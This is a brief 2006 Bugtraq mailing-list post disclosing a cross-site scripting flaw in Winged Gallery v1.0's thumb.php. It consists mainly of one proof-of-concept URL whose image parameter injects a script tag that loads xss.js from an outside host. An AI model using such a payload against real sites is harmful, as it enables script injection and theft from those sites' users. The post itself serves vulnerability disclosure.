[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Winged Gallery v1.0
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Winged Gallery v1.0
- From: luny@xxxxxxxxxxxxxxx
- Date: 24 Jun 2006 20:30:41 -0000
Winged Gallery v1.0
Homepage:
http://winged.info/index.php?p=gallery
XSS vuln on thumb.php:
http://example.com/gallery/thumb.php?image=data/Example+Folder/firefox+icon.jpg">''>">">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<'<'<'<'&size=75&type=2&w=128&h=128">''>">">">